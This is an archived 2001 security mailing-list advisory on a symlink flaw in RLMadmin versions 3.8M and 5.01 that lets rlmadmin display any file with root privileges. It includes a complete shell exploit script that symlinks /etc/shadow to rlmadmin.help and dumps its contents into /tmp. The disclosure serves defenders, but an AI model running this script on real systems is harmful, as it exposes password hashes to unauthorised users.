

[UNIX] RLMadmin View File Symlink Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-09/0054.html>

From: support@securiteam.com

Date: 09/12/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [UNIX] RLMadmin View File Symlink Vulnerability

Message-Id: <20010912133745.08325138C0@mail.der-keiler.de>

Date: Wed, 12 Sep 2001 15:37:45 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

RLMadmin View File Symlink Vulnerability

SUMMARY

RLMadmin is a user management utility for RADIUS which comes with the <<http://www.merit.edu/michnet/dial-in/aaa/>> Merit AAA Server package.

Using this program and a simple symlink, you can view any file on the system with root privileges.

DETAILS

Vulnerable systems:

RLMadmin version 3.8M

RLMadmin version 5.01

Using the -d option of rlmadmin allows you to specify the directory in which it will look for its configuration files.

The files that it looks for in this directory during startup are:

Dictionary – dictionary translations for parsing requests and generating responses.

rlmadmin.help – the help file that is displayed on startup.

vendors – vendor specific information.

Securiteam: [UNIX] RLMadmin View File Symlink Vulnerability

The problem occurs when rlmadmin reads from the "rlmadmin.help" file. If this file is symlinked to another file (such as /etc/shadow), the program blindly follows the link, causing the contents of the file to be displayed when the program starts up.

Exploit:

```
#!/bin/sh
# ----- #
# rlmadmin view file symlink vulnerability #
# (c)oded 2001 Digital Shadow #
# www.ministryofpeace.co.uk #
# ----- #
bloc=/usr/private/etc # executable file location
cloc=/usr/private/etc/raddb # config file location
file=/etc/shadow # file to read
echo == rlmadmin exploit - visit \
www.ministryofpeace.co.uk for more!
echo = Initialising...
mkdir /tmp/peace; cd /tmp/peace
cp $cloc/dictionary $cloc/vendors .
ln -s $file rlmadmin.help
echo = Exploiting...
echo quit | $bloc/rlmadmin -d /tmp/peace > peace.log
mv peace.log /tmp; rm dictionary rlmadmin.help vendors
echo = Done!
echo == Now look in /tmp/peace.log!
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:wodahs@gmx.net> Digital Shadow.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] DLink Firewall/Router Vulnerable to Malformed Fragmented Packets DoS"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)